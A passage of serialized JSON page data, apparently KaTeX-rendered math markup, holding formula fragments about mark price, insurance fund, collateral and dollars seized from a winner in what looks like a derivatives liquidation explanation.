6,169968],{"type":24,"tag":327,"props":168486,"children":168487},{"style":167669},[168488,168492],{"type":24,"tag":327,"props":168489,"children":168491},{"className":168490,"style":167674},[3058],[],{"type":24,"tag":327,"props":168493,"children":168495},{"className":168494},[2977],[168496,168500,168504,168509,168513],{"type":24,"tag":327,"props":168497,"children":168499},{"className":168498},[2977],[],{"type":24,"tag":327,"props":168501,"children":168503},{"className":168502,"style":2993},[2992],[],{"type":24,"tag":327,"props":168505,"children":168507},{"className":168506},[2998],[168508],{"type":29,"value":3001},{"type":24,"tag":327,"props":168510,"children":168512},{"className":168511,"style":2993},[2992],[],{"type":24,"tag":327,"props":168514,"children":168516},{"className":168515},[2977,29],[168517],{"type":24,"tag":327,"props":168518,"children":168520},{"className":168519},[2977],[168521],{"type":29,"value":168522},"mark price",{"type":24,"tag":327,"props":168524,"children":168525},{"style":167740},[168526,168530],{"type":24,"tag":327,"props":168527,"children":168529},{"className":168528,"style":167674},[3058],[],{"type":24,"tag":327,"props":168531,"children":168533},{"className":168532},[2977],[168534,168538,168542,168547,168551],{"type":24,"tag":327,"props":168535,"children":168537},{"className":168536},[2977],[],{"type":24,"tag":327,"props":168539,"children":168541},{"className":168540,"style":2993},[2992],[],{"type":24,"tag":327,"props":168543,"children":168545},{"className":168544},[2998],[168546],{"type":29,"value":3001},{"type":24,"tag":327,"props":168548,"children":168550},{"className":168549,"style":2993},[2992],[],{"type":24,"tag":327,"props":168552,"children":168554},{"className":168553},[2977,29],[168555],{"type":24,"tag":327,"props":168556,"children":168558},{"className":168557},[2977],[168559],{"type":29,"value":168560},"insurance fund",{"type":24,"tag":327,"props":168562,"children":168563},{"style":167757},[168564,168568],{"type":24,"tag":327,"props":168565,"children":168567},{"className":168566,"style":167674},[3058],[],{"type":24,"tag":327,"props":168569,"children":168571},{"className":168570},[2977],[168572,168576,168580,168585,168589,168599,168603,168608,168612],{"type":24,"tag":327,"props":168573,"children":168575},{"className":168574},[2977],[],{"type":24,"tag":327,"props":168577,"children":168579},{"className":168578,"style":2993},[2992],[],{"type":24,"tag":327,"props":168581,"children":168583},{"className":168582},[2998],[168584],{"type":29,"value":3001},{"type":24,"tag":327,"props":168586,"children":168588},{"className":168587,"style":2993},[2992],[],{"type":24,"tag":327,"props":168590,"children":168592},{"className":168591},[2977,29],[168593],{"type":24,"tag":327,"props":168594,"children":168596},{"className":168595},[2977],[168597],{"type":29,"value":168598},"collateral",{"type":24,"tag":327,"props":168600,"children":168602},{"className":168601,"style":2993},[2992],[],{"type":24,"tag":327,"props":168604,"children":168606},{"className":168605},[2998],[168607],{"type":29,"value":384},{"type":24,"tag":327,"props":168609,"children":168611},{"className":168610,"style":2993},[2992],[],{"type":24,"tag":327,"props":168613,"children":168615},{"className":168614},[2977],[168616,168620,168704],{"type":24,"tag":327,"props":168617,"children":168619},{"className":168618},[3121,120292],[],{"type":24,"tag":327,"props":168621,"children":168623},{"className":168622},[120297],[168624],{"type":24,"tag":327,"props":168625,"children":168627},{"className":168626},[3037,3038],[168628,168693],{"type":24,"tag":327,"props":168629,"children":168631},{"className":168630},[3043],[168632,168688],{"type":24,"tag":327,"props":168633,"children":168636},{"className":168634,"style":168635},[3048],"height:1.3714em;",[168637,168657,168668],{"type":24,"tag":327,"props":168638,"children":168639},{"style":165883},[168640,168644],{"type":24,"tag":327,"props":168641,"children":168643},{"className":168642,"style":118945},[3058],[],{"type":24,"tag":327,"props":168645,"children":168647},{"className":168646},[2977],[168648],{"type":24,"tag":327,"props":168649,"children":168651},{"className":168650},[2977,29],[168652],{"type":24,"tag":327,"props":168653,"children":168655},{"className":168654},[2977],[168656],{"type":29,"value":165920},{"type":24,"tag":327,"props":168658,"children":168659},{"style":120347},[168660,168664],{"type":24,"tag":327,"props":168661,"children":168663},{"className":168662,"style":118945},[3058],[],{"type":24,"tag":327,"props":168665,"children":168667},{"className":168666,"style":120357},[120356],[],{"type":24,"tag":327,"props":168669,"children":168670},{"style":165934},[168671,168675],{"type":24,"tag":327,"props":168672,"children":168674},{"className":168673,"style":118945},[3058],[],{"type":24,"tag":327,"props":168676,"children":168678},{"className":168677},[2977],[168679],{"type":24,"tag":327,"props":168680,"children":168682},{"className":168681},[2977,29],[168683],{"type":24,"tag":327,"props":168684,"children":168686},{"className":168685},[2977],[168687],{"type":29,"value":165959},{"type":24,"tag":327,"props":168689,"children":168691},{"className":168690},[3150],[168692],{"type":29,"value":3153},{"type":24,"tag":327,"props":168694,"children":168696},{"className":168695},[3043],[168697],{"type":24,"tag":327,"props":168698,"children":168700},{"className":168699,"style":165977},[3048],[168701],{"type":24,"tag":327,"props":168702,"children":168703},{},[],{"type":24,"tag":327,"props":168705,"children":168707},{"className":168706},[3143,120292],[],{"type":24,"tag":327,"props":168709,"children":168710},{"style":167826},[168711,168715],{"type":24,"tag":327,"props":168712,"children":168714},{"className":168713,"style":167674},[3058],[],{"type":24,"tag":327,"props":168716,"children":168718},{"className":168717},[2977],[168719,168723,168727,168732,168736,168793,168797,168802,168806,168811,168868,168872,168877,168881,168938],{"type":24,"tag":327,"props":168720,"children":168722},{"className":168721},[2977],[],{"type":24,"tag":327,"props":168724,"children":168726},{"className":168725,"style":2993},[2992],[],{"type":24,"tag":327,"props":168728,"children":168730},{"className":168729},[2998],[168731],{"type":29,"value":384},{"type":24,"tag":327,"props":168733,"children":168735},{"className":168734,"style":2993},[2992],[],{"type":24,"tag":327,"props":168737,"children":168739},{"className":168738},[2977],[168740,168745],{"type":24,"tag":327,"props":168741,"children":168743},{"className":168742},[2977,2978],[168744],{"type":29,"value":18198},{"type":24,"tag":327,"props":168746,"children":168748},{"className":168747},[3032],[168749],{"type":24,"tag":327,"props":168750,"children":168752},{"className":168751},[3037,3038],[168753,168782],{"type":24,"tag":327,"props":168754,"children":168756},{"className":168755},[3043],[168757,168777],{"type":24,"tag":327,"props":168758,"children":168760},{"className":168759,"style":100303},[3048],[168761],{"type":24,"tag":327,"props":168762,"children":168763},{"style":99830},[168764,168768],{"type":24,"tag":327,"props":168765,"children":168767},{"className":168766,"style":3059},[3058],[],{"type":24,"tag":327,"props":168769,"children":168771},{"className":168770},[3064,3065,3066,3067],[168772],{"type":24,"tag":327,"props":168773,"children":168775},{"className":168774},[2977,2978,3067],[168776],{"type":29,"value":11334},{"type":24,"tag":327,"props":168778,"children":168780},{"className":168779},[3150],[168781],{"type":29,"value":3153},{"type":24,"tag":327,"props":168783,"children":168785},{"className":168784},[3043],[168786],{"type":24,"tag":327,"props":168787,"children":168789},{"className":168788,"style":99857},[3048],[168790],{"type":24,"tag":327,"props":168791,"children":168792},{},[],{"type":24,"tag":327,"props":168794,"children":168796},{"className":168795,"style":3705},[2992],[],{"type":24,"tag":327,"props":168798,"children":168800},{"className":168799},[3710],[168801],{"type":29,"value":118036},{"type":24,"tag":327,"props":168803,"children":168805},{"className":168804,"style":3705},[2992],[],{"type":24,"tag":327,"props":168807,"children":168809},{"className":168808},[3121],[168810],{"type":29,"value":349},{"type":24,"tag":327,"props":168812,"children":168814},{"className":168813},[2977],[168815,168820],{"type":24,"tag":327,"props":168816,"children":168818},{"className":168817,"style":2979},[2977,2978],[168819],{"type":29,"value":2982},{"type":24,"tag":327,"props":168821,"children":168823},{"className":168822},[3032],[168824],{"type":24,"tag":327,"props":168825,"children":168827},{"className":168826},[3037,3038],[168828,168857],{"type":24,"tag":327,"props":168829,"children":168831},{"className":168830},[3043],[168832,168852],{"type":24,"tag":327,"props":168833,"children":168835},{"className":168834,"style":116206},[3048],[168836],{"type":24,"tag":327,"props":168837,"children":168838},{"style":167707},[168839,168843],{"type":24,"tag":327,"props":168840,"children":168842},{"className":168841,"style":3059},[3058],[],{"type":24,"tag":327,"props":168844,"children":168846},{"className":168845},[3064,3065,3066,3067],[168847],{"type":24,"tag":327,"props":168848,"children":168850},{"className":168849},[2977,2978,3067],[168851],{"type":29,"value":63125},{"type":24,"tag":327,"props":168853,"children":168855},{"className":168854},[3150],[168856],{"type":29,"value":3153},{"type":24,"tag":327,"props":168858,"children":168860},{"className":168859},[3043],[168861],{"type":24,"tag":327,"props":168862,"children":168864},{"className":168863,"style":99857},[3048],[168865],{"type":24,"tag":327,"props":168866,"children":168867},{},[],{"type":24,"tag":327,"props":168869,"children":168871},{"className":168870,"style":3705},[2992],[],{"type":24,"tag":327,"props":168873,"children":168875},{"className":168874},[3710],[168876],{"type":29,"value":11647},{"type":24,"tag":327,"props":168878,"children":168880},{"className":168879,"style":3705},[2992],[],{"type":24,"tag":327,"props":168882,"children":168884},{"className":168883},[2977],[168885,168890],{"type":24,"tag":327,"props":168886,"children":168888},{"className":168887},[2977,2978],[168889],{"type":29,"value":25},{"type":24,"tag":327,"props":168891,"children":168893},{"className":168892},[3032],[168894],{"type":24,"tag":327,"props":168895,"children":168897},{"className":168896},[3037,3038],[168898,168927],{"type":24,"tag":327,"props":168899,"children":168901},{"className":168900},[3043],[168902,168922],{"type":24,"tag":327,"props":168903,"children":168905},{"className":168904,"style":100303},[3048],[168906],{"type":24,"tag":327,"props":168907,"children":168908},{"style":99830},[168909,168913],{"type":24,"tag":327,"props":168910,"children":168912},{"className":168911,"style":3059},[3058],[],{"type":24,"tag":327,"props":168914,"children":168916},{"className":168915},[3064,3065,3066,3067],[168917],{"type":24,"tag":327,"props":168918,"children":168920},{"className":168919},[2977,2978,3067],[168921],{"type":29,"value":11334},{"type":24,"tag":327,"props":168923,"children":168925},{"className":168924},[3150],[168926],{"type":29,"value":3153},{"type":24,"tag":327,"props":168928,"children":168930},{"className":168929},[3043],[168931],{"type":24,"tag":327,"props":168932,"children":168934},{"className":168933,"style":99857},[3048],[168935],{"type":24,"tag":327,"props":168936,"children":168937},{},[],{"type":24,"tag":327,"props":168939,"children":168941},{"className":168940},[3143],[168942],{"type":29,"value":3146},{"type":24,"tag":327,"props":168944,"children":168945},{"style":167896},[168946,168950],{"type":24,"tag":327,"props":168947,"children":168949},{"className":168948,"style":167674},[3058],[],{"type":24,"tag":327,"props":168951,"children":168953},{"className":168952},[2977],[168954,168958,168962,168967,168971,169028,169032,169037,169041],{"type":24,"tag":327,"props":168955,"children":168957},{"className":168956},[2977],[],{"type":24,"tag":327,"props":168959,"children":168961},{"className":168960,"style":2993},[2992],[],{"type":24,"tag":327,"props":168963,"children":168965},{"className":168964},[2998],[168966],{"type":29,"value":384},{"type":24,"tag":327,"props":168968,"children":168970},{"className":168969,"style":2993},[2992],[],{"type":24,"tag":327,"props":168972,"children":168974},{"className":168973},[2977],[168975,168980],{"type":24,"tag":327,"props":168976,"children":168978},{"className":168977},[2977,2978],[168979],{"type":29,"value":320},{"type":24,"tag":327,"props":168981,"children":168983},{"className":168982},[3032],[168984],{"type":24,"tag":327,"props":168985,"children":168987},{"className":168986},[3037,3038],[168988,169017],{"type":24,"tag":327,"props":168989,"children":168991},{"className":168990},[3043],[168992,169012],{"type":24,"tag":327,"props":168993,"children":168995},{"className":168994,"style":100303},[3048],[168996],{"type":24,"tag":327,"props":168997,"children":168998},{"style":99830},[168999,169003],{"type":24,"tag":327,"props":169000,"children":169002},{"className":169001,"style":3059},[3058],[],{"type":24,"tag":327,"props":169004,"children":169006},{"className":169005},[3064,3065,3066,3067],[169007],{"type":24,"tag":327,"props":169008,"children":169010},{"className":169009},[2977,2978,3067],[169011],{"type":29,"value":11334},{"type":24,"tag":327,"props":169013,"children":169015},{"className":169014},[3150],[169016],{"type":29,"value":3153},{"type":24,"tag":327,"props":169018,"children":169020},{"className":169019},[3043],[169021],{"type":24,"tag":327,"props":169022,"children":169024},{"className":169023,"style":99857},[3048],[169025],{"type":24,"tag":327,"props":169026,"children":169027},{},[],{"type":24,"tag":327,"props":169029,"children":169031},{"className":169030,"style":3705},[2992],[],{"type":24,"tag":327,"props":169033,"children":169035},{"className":169034},[3710],[169036],{"type":29,"value":394},{"type":24,"tag":327,"props":169038,"children":169040},{"className":169039,"style":3705},[2992],[],{"type":24,"tag":327,"props":169042,"children":169044},{"className":169043},[2977],[169045,169050],{"type":24,"tag":327,"props":169046,"children":169048},{"className":169047,"style":100260},[2977,2978],[169049],{"type":29,"value":167845},{"type":24,"tag":327,"props":169051,"children":169053},{"className":169052},[3032],[169054],{"type":24,"tag":327,"props":169055,"children":169057},{"className":169056},[3037,3038],[169058,169087],{"type":24,"tag":327,"props":169059,"children":169061},{"className":169060},[3043],[169062,169082],{"type":24,"tag":327,"props":169063,"children":169065},{"className":169064,"style":100303},[3048],[169066],{"type":24,"tag":327,"props":169067,"children":169068},{"style":100307},[169069,169073],{"type":24,"tag":327,"props":169070,"children":169072},{"className":169071,"style":3059},[3058],[],{"type":24,"tag":327,"props":169074,"children":169076},{"className":169075},[3064,3065,3066,3067],[169077],{"type":24,"tag":327,"props":169078,"children":169080},{"className":169079},[2977,2978,3067],[169081],{"type":29,"value":11334},{"type":24,"tag":327,"props":169083,"children":169085},{"className":169084},[3150],[169086],{"type":29,"value":3153},{"type":24,"tag":327,"props":169088,"children":169090},{"className":169089},[3043],[169091],{"type":24,"tag":327,"props":169092,"children":169094},{"className":169093,"style":99857},[3048],[169095],{"type":24,"tag":327,"props":169096,"children":169097},{},[],{"type":24,"tag":327,"props":169099,"children":169100},{"style":167965},[169101,169105],{"type":24,"tag":327,"props":169102,"children":169104},{"className":169103,"style":167674},[3058],[],{"type":24,"tag":327,"props":169106,"children":169108},{"className":169107},[2977],[169109,169113,169117,169122,169126],{"type":24,"tag":327,"props":169110,"children":169112},{"className":169111},[2977],[],{"type":24,"tag":327,"props":169114,"children":169116},{"className":169115,"style":2993},[2992],[],{"type":24,"tag":327,"props":169118,"children":169120},{"className":169119},[2998],[169121],{"type":29,"value":384},{"type":24,"tag":327,"props":169123,"children":169125},{"className":169124,"style":2993},[2992],[],{"type":24,"tag":327,"props":169127,"children":169129},{"className":169128},[2977],[169130,169135],{"type":24,"tag":327,"props":169131,"children":169133},{"className":169132,"style":100260},[2977,2978],[169134],{"type":29,"value":167845},{"type":24,"tag":327,"props":169136,"children":169138},{"className":169137},[3032],[169139],{"type":24,"tag":327,"props":169140,"children":169142},{"className":169141},[3037,3038],[169143,169191],{"type":24,"tag":327,"props":169144,"children":169146},{"className":169145},[3043],[169147,169186],{"type":24,"tag":327,"props":169148,"children":169151},{"className":169149,"style":169150},[3048],"height:0.8213em;",[169152,169169],{"type":24,"tag":327,"props":169153,"children":169155},{"style":169154},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[169156,169160],{"type":24,"tag":327,"props":169157,"children":169159},{"className":169158,"style":3059},[3058],[],{"type":24,"tag":327,"props":169161,"children":169163},{"className":169162},[3064,3065,3066,3067],[169164],{"type":24,"tag":327,"props":169165,"children":169167},{"className":169166},[2977,2978,3067],[169168],{"type":29,"value":11334},{"type":24,"tag":327,"props":169170,"children":169172},{"style":169171},"top:-3.113em;margin-right:0.05em;",[169173,169177],{"type":24,"tag":327,"props":169174,"children":169176},{"className":169175,"style":3059},[3058],[],{"type":24,"tag":327,"props":169178,"children":169180},{"className":169179},[3064,3065,3066,3067],[169181],{"type":24,"tag":327,"props":169182,"children":169184},{"className":169183},[3710,3067],[169185],{"type":29,"value":394},{"type":24,"tag":327,"props":169187,"children":169189},{"className":169188},[3150],[169190],{"type":29,"value":3153},{"type":24,"tag":327,"props":169192,"children":169194},{"className":169193},[3043],[169195],{"type":24,"tag":327,"props":169196,"children":169199},{"className":169197,"style":169198},[3048],"height:0.267em;",[169200],{"type":24,"tag":327,"props":169201,"children":169202},{},[],{"type":24,"tag":327,"props":169204,"children":169205},{"style":168035},[169206,169210],{"type":24,"tag":327,"props":169207,"children":169209},{"className":169208,"style":167674},[3058],[],{"type":24,"tag":327,"props":169211,"children":169213},{"className":169212},[2977],[169214,169218,169222,169227,169231,169241],{"type":24,"tag":327,"props":169215,"children":169217},{"className":169216},[2977],[],{"type":24,"tag":327,"props":169219,"children":169221},{"className":169220,"style":2993},[2992],[],{"type":24,"tag":327,"props":169223,"children":169225},{"className":169224},[2998],[169226],{"type":29,"value":3001},{"type":24,"tag":327,"props":169228,"children":169230},{"className":169229,"style":2993},[2992],[],{"type":24,"tag":327,"props":169232,"children":169234},{"className":169233},[2977,29],[169235],{"type":24,"tag":327,"props":169236,"children":169238},{"className":169237},[2977],[169239],{"type":29,"value":169240},"dollars seized from winner ",{"type":24,"tag":327,"props":169242,"children":169244},{"className":169243},[2977,2978],[169245],{"type":29,"value":11334},{"type":24,"tag":327,"props":169247,"children":169248},{"style":168104},[169249,169253],{"type":24,"tag":327,"props":169250,"children":169252},{"className":169251,"style":167674},[3058],[],{"type":24,"tag":327,"props":169254,"children":169256},{"className":169255},[2977],[169257,169261,169265,169270,169274],{"type":24,"tag":327,"props":169258,"children":169260},{"className":169259},[2977],[],{"type":24,"tag":327,"props":169262,"children":169264},{"className":169263,"style":2993},[2992],[],{"type":24,"tag":327,"props":169266,"children":169268},{"className":169267},[2998],[169269],{"type":29,"value":384},{"type":24,"tag":327,"props":169271,"children":169273},{"className":169272,"style":2993},[2992],[],{"type":24,"tag":327,"props":169275,"children":169277},{"className":169276},[2977],[169278,169282,169463],{"type":24,"tag":327,"props":169279,"children":169281},{"className":169280},[3121,120292],[],{"type":24,"tag":327,"props":169283,"children":169285},{"className":169284},[120297],[169286],{"type":24,"tag":327,"props":169287,"children":169289},{"className":169288},[3037,3038],[169290,169451],{"type":24,"tag":327,"props":169291,"children":169293},{"className":169292},[3043],[169294,169446],{"type":24,"tag":327,"props":169295,"children":169298},{"className":169296,"style":169297},[3048],"height:1.1076em;",[169299,169367,169378],{"type":24,"tag":327,"props":169300,"children":169301},{"style":165883},[169302,169306],{"type":24,"tag":327,"props":169303,"children":169305},{"className":169304,"style":118945},[3058],[],{"type":24,"tag":327,"props":169307,"children":169309},{"className":169308},[2977],[169310],{"type":24,"tag":327,"props":169311,"children":169313},{"className":169312},[2977],[169314,169319],{"type":24,"tag":327,"props":169315,"children":169317},{"className":169316,"style":129054},[2977,2978],[169318],{"type":29,"value":56292},{"type":24,"tag":327,"props":169320,"children":169322},{"className":169321},[3032],[169323],{"type":24,"tag":327,"props":169324,"children":169326},{"className":169325},[3037,3038],[169327,169356],{"type":24,"tag":327,"props":169328,"children":169330},{"className":169329},[3043],[169331,169351],{"type":24,"tag":327,"props":169332,"children":169334},{"className":169333,"style":100303},[3048],[169335],{"type":24,"tag":327,"props":169336,"children":169337},{"style":168002},[169338,169342],{"type":24,"tag":327,"props":169339,"children":169341},{"className":169340,"style":3059},[3058],[],{"type":24,"tag":327,"props":169343,"children":169345},{"className":169344},[3064,3065,3066,3067],[169346],{"type":24,"tag":327,"props":169347,"children":169349},{"className":169348},[2977,2978,3067],[169350],{"type":29,"value":11334},{"type":24,"tag":327,"props":169352,"children":169354},{"className":169353},[3150],[169355],{"type":29,"value":3153},{"type":24,"tag":327,"props":169357,"children":169359},{"className":169358},[3043],[169360],{"type":24,"tag":327,"props":169361,"children":169363},{"className":169362,"style":99857},[3048],[169364],{"type":24,"tag":327,"props":169365,"children":169366},{},[],{"type":24,"tag":327,"props":169368,"children":169369},{"style":120347},[169370,169374],{"type":24,"tag":327,"props":169371,"children":169373},{"className":169372,"style":118945},[3058],[],{"type":24,"tag":327,"props":169375,"children":169377},{"className":169376,"style":120357},[120356],[],{"type":24,"tag":327,"props":169379,"children":169380},{"style":165934},[169381,169385],{"type":24,"tag":327,"props":169382,"children":169384},{"className":169383,"style":118945},[3058],[],{"type":24,"tag":327,"props":169386,"children":169388},{"className":169387},[2977],[169389],{"type":24,"tag":327,"props":169390,"children":169392},{"className":169391},[2977],[169393,169398],{"type":24,"tag":327,"props":169394,"children":169396},{"className":169395},[2977,2978],[169397],{"type":29,"value":603},{"type":24,"tag":327,"props":169399,"children":169401},{"className":169400},[3032],[169402],{"type":24,"tag":327,"props":169403,"children":169405},{"className":169404},[3037,3038],[169406,169435],{"type":24,"tag":327,"props":169407,"children":169409},{"className":169408},[3043],[169410,169430],{"type":24,"tag":327,"props":169411,"children":169413},{"className":169412,"style":100303},[3048],[169414],{"type":24,"tag":327,"props":169415,"children":169416},{"style":99830},[169417,169421],{"type":24,"tag":327,"props":169418,"children":169420},{"className":169419,"style":3059},[3058],[],{"type":24,"tag":327,"props":169422,"children":169424},{"className":169423},[3064,3065,3066,3067],[169425],{"type":24,"tag":327,"props":169426,"children":169428},{"className":169427},[2977,2978,3067],[169429],{"type":29,"value":11334},{"type":24,"tag":327,"props":169431,"children":169433},{"className":169432},[3150],[169434],{"type":29,"value":3153},{"type":24,"tag":327,"props":169436,"children":169438},{"className":169437},[3043],[169439],{"type":24,"tag":327,"props":169440,"children":169442},{"className":169441,"style":99857},[3048],[169443],{"type":24,"tag":327,"props":169444,"children":169445},{},[],{"type":24,"tag":327,"props":169447,"children":169449},{"className":169448},[3150],[169450],{"type":29,"value":3153},{"type":24,"tag":327,"props":169452,"children":169454},{"className":169453},[3043],[169455],{"type":24,"tag":327,"props":169456,"children":169459},{"className":169457,"style":169458},[3048],"height:0.836em;",[169460],{"type":24,"tag":327,"props":169461,"children":169462},{},[],{"type":24,"tag":327,"props":169464,"children":169466},{"className":169465},[3143,120292],[],{"type":24,"tag":327,"props":169468,"children":169469},{"style":168173},[169470,169474],{"type":24,"tag":327,"props":169471,"children":169473},{"className":169472,"style":167674},[3058],[],{"type":24,"tag":327,"props":169475,"children":169477},{"className":169476},[2977],[169478,169482,169486,169491,169495,169565,169569],{"type":24,"tag":327,"props":169479,"children":169481},{"className":169480},[2977],[],{"type":24,"tag":327,"props":169483,"children":169485},{"className":169484,"style":2993},[2992],[],{"type":24,"tag":327,"props":169487,"children":169489},{"className":169488},[2998],[169490],{"type":29,"value":384},{"type":24,"tag":327,"props":169492,"children":169494},{"className":169493,"style":2993},[2992],[],{"type":24,"tag":327,"props":169496,"children":169499},{"className":169497},[3018,169498],"op-limits",[169500],{"type":24,"tag":327,"props":169501,"children":169503},{"className":169502},[3037,3038],[169504,169553],{"type":24,"tag":327,"props":169505,"children":169507},{"className":169506},[3043],[169508,169548],{"type":24,"tag":327,"props":169509,"children":169512},{"className":169510,"style":169511},[3048],"height:1.05em;",[169513,169531],{"type":24,"tag":327,"props":169514,"children":169516},{"style":169515},"top:-1.8723em;margin-left:0em;",[169517,169522],{"type":24,"tag":327,"props":169518,"children":169521},{"className":169519,"style":169520},[3058],"height:3.05em;",[],{"type":24,"tag":327,"props":169523,"children":169525},{"className":169524},[3064,3065,3066,3067],[169526],{"type":24,"tag":327,"props":169527,"children":169529},{"className":169528},[2977,2978,3067],[169530],{"type":29,"value":11334},{"type":24,"tag":327,"props":169532,"children":169534},{"style":169533},"top:-3.05em;",[169535,169539],{"type":24,"tag":327,"props":169536,"children":169538},{"className":169537,"style":169520},[3058],[],{"type":24,"tag":327,"props":169540,"children":169541},{},[169542],{"type":24,"tag":327,"props":169543,"children":169546},{"className":169544},[3018,3023,169545],"large-op",[169547],{"type":29,"value":115569},{"type":24,"tag":327,"props":169549,"children":169551},{"className":169550},[3150],[169552],{"type":29,"value":3153},{"type":24,"tag":327,"props":169554,"children":169556},{"className":169555},[3043],[169557],{"type":24,"tag":327,"props":169558,"children":169561},{"className":169559,"style":169560},[3048],"height:1.2777em;",[169562],{"type":24,"tag":327,"props":169563,"children":169564},{},[],{"type":24,"tag":327,"props":169566,"children":169568},{"className":169567,"style":3169},[2992],[],{"type":24,"tag":327,"props":169570,"children":169572},{"className":169571},[2977],[169573,169578],{"type":24,"tag":327,"props":169574,"children":169576},{"className":169575},[2977,2978],[169577],{"type":29,"value":603},{"type":24,"tag":327,"props":169579,"children":169581},{"className":169580},[3032],[169582],{"type":24,"tag":327,"props":169583,"children":169585},{"className":169584},[3037,3038],[169586,169615],{"type":24,"tag":327,"props":169587,"children":169589},{"className":169588},[3043],[169590,169610],{"type":24,"tag":327,"props":169591,"children":169593},{"className":169592,"style":100303},[3048],[169594],{"type":24,"tag":327,"props":169595,"children":169596},{"style":99830},[169597,169601],{"type":24,"tag":327,"props":169598,"children":169600},{"className":169599,"style":3059},[3058],[],{"type":24,"tag":327,"props":169602,"children":169604},{"className":169603},[3064,3065,3066,3067],[169605],{"type":24,"tag":327,"props":169606,"children":169608},{"className":169607},[2977,2978,3067],[169609],{"type":29,"value":11334},{"type":24,"tag":327,"props":169611,"children":169613},{"className":169612},[3150],[169614],{"type":29,"value":3153},{"type":24,"tag":327,"props":169616,"children":169618},{"className":169617},[3043],[169619],{"type":24,"tag":327,"props":169620,"children":169622},{"className":169621,"style":99857},[3048],[169623],{"type":24,"tag":327,"props":169624,"children":169625},{},[],{"type":24,"tag":327,"props":169627,"children":169628},{"style":168242},[169629,169633],{"type":24,"tag":327,"props":169630,"children":169632},{"className":169631,"style":167674},[3058],[],{"type":24,"tag":327,"props":169634,"children":169636},{"className":169635},[2977],[169637,169641,169645,169650,169654,169717,169721,169726,169731,169736,169793,169798,169802,169806,169811],{"type":24,"tag":327,"props":169638,"children":169640},{"className":169639},[2977],[],{"type":24,"tag":327,"props":169642,"children":169644},{"className":169643,"style":2993},[2992],[],{"type":24,"tag":327,"props":169646,"children":169648},{"className":169647},[2998],[169649],{"type":29,"value":384},{"type":24,"tag":327,"props":169651,"children":169653},{"className":169652,"style":2993},[2992],[],{"type":24,"tag":327,"props":169655,"children":169657},{"className":169656},[3018,169498],[169658],{"type":24,"tag":327,"props":169659,"children":169661},{"className":169660},[3037,3038],[169662,169706],{"type":24,"tag":327,"props":169663,"children":169665},{"className":169664},[3043],[169666,169701],{"type":24,"tag":327,"props":169667,"children":169669},{"className":169668,"style":169511},[3048],[169670,169686],{"type":24,"tag":327,"props":169671,"children":169672},{"style":169515},[169673,169677],{"type":24,"tag":327,"props":169674,"children":169676},{"className":169675,"style":169520},[3058],[],{"type":24,"tag":327,"props":169678,"children":169680},{"className":169679},[3064,3065,3066,3067],[169681],{"type":24,"tag":327,"props":169682,"children":169684},{"className":169683},[2977,2978,3067],[169685],{"type":29,"value":11334},{"type":24,"tag":327,"props":169687,"children":169688},{"style":169533},[169689,169693],{"type":24,"tag":327,"props":169690,"children":169692},{"className":169691,"style":169520},[3058],[],{"type":24,"tag":327,"props":169694,"children":169695},{},[169696],{"type":24,"tag":327,"props":169697,"children":169699},{"className":169698},[3018,3023,169545],[169700],{"type":29,"value":115569},{"type":24,"tag":327,"props":169702,"children":169704},{"className":169703},[3150],[169705],{"type":29,"value":3153},{"type":24,"tag":327,"props":169707,"children":169709},{"className":169708},[3043],[169710],{"type":24,"tag":327,"props":169711,"children":169713},{"className":169712,"style":169560},[3048],[169714],{"type":24,"tag":327,"props":169715,"children":169716},{},[],{"type":24,"tag":327,"props":169718,"children":169720},{"className":169719,"style":3169},[2992],[],{"type":24,"tag":327,"props":169722,"children":169724},{"className":169723},[3018],[169725],{"type":29,"value":167388},{"type":24,"tag":327,"props":169727,"children":169729},{"className":169728},[3121],[169730],{"type":29,"value":349},{"type":24,"tag":327,"props":169732,"children":169734},{"className":169733},[2977],[169735],{"type":29,"value":11647},{"type":24,"tag":327,"props":169737,"children":169739},{"className":169738},[2977],[169740,169745],{"type":24,"tag":327,"props":169741,"children":169743},{"className":169742},[2977,2978],[169744],{"type":29,"value":58175},{"type":24,"tag":327,"props":169746,"children":169748},{"className":169747},[3032],[169749],{"type":24,"tag":327,"props":169750,"children":169752},{"className":169751},[3037,3038],[169753,169782],{"type":24,"tag":327,"props":169754,"children":169756},{"className":169755},[3043],[169757,169777],{"type":24,"tag":327,"props":169758,"children":169760},{"className":169759,"style":100303},[3048],[169761],{"type":24,"tag":327,"props":169762,"children":169763},{"style":99830},[169764,169768],{"type":24,"tag":327,"props":169765,"children":169767},{"className":169766,"style":3059},[3058],[],{"type":24,"tag":327,"props":169769,"children":169771},{"className":169770},[3064,3065,3066,3067],[169772],{"type":24,"tag":327,"props":169773,"children":169775},{"className":169774},[2977,2978,3067],[169776],{"type":29,"value":11334},{"type":24,"tag":327,"props":169778,"children":169780},{"className":169779},[3150],[169781],{"type":29,"value":3153},{"type":24,"tag":327,"props":169783,"children":169785},{"className":169784},[3043],[169786],{"type":24,"tag":327,"props":169787,"children":169789},{"className":169788,"style":99857},[3048],[169790],{"type":24,"tag":327,"props":169791,"children":169792},{},[],{"type":24,"tag":327,"props":169794,"children":169796},{"className":169795},[11695],[169797],{"type":29,"value":11698},{"type":24,"tag":327,"props":169799,"children":169801},{"className":169800,"style":3169},[2992],[],{"type":24,"tag":327,"props":169803,"children":169805},{"className":169804,"style":3169},[2992],[],{"type":24,"tag":327,"props":169807,"children":169809},{"className":169808},[2977],[169810],{"type":29,"value":2988},{"type":24,"tag":327,"props":169812,"children":169814},{"className":169813},[3143],[169815],{"type":29,"value":3146},{"type":24,"tag":327,"props":169817,"children":169818},{"style":168312},[169819,169823],{"type":24,"tag":327,"props":169820,"children":169822},{"className":169821,"style":167674},[3058],[],{"type":24,"tag":327,"props":169824,"children":169826},{"className":169825},[2977],[169827,169831,169835,169840,169844,169907,169911],{"type":24,"tag":327,"props":169828,"children":169830},{"className":169829},[2977],[],{"type":24,"tag":327,"props":169832,"children":169834},{"className":169833,"style":2993},[2992],[],{"type":24,"tag":327,"props":169836,"children":169838},{"className":169837},[2998],[169839],{"type":29,"value":384},{"type":24,"tag":327,"props":169841,"children":169843},{"className":169842,"style":2993},[2992],[],{"type":24,"tag":327,"props":169845,"children":169847},{"className":169846},[3018,169498],[169848],{"type":24,"tag":327,"props":169849,"children":169851},{"className":169850},[3037,3038],[169852,169896],{"type":24,"tag":327,"props":169853,"children":169855},{"className":169854},[3043],[169856,169891],{"type":24,"tag":327,"props":169857,"children":169859},{"className":169858,"style":169511},[3048],[169860,169876],{"type":24,"tag":327,"props":169861,"children":169862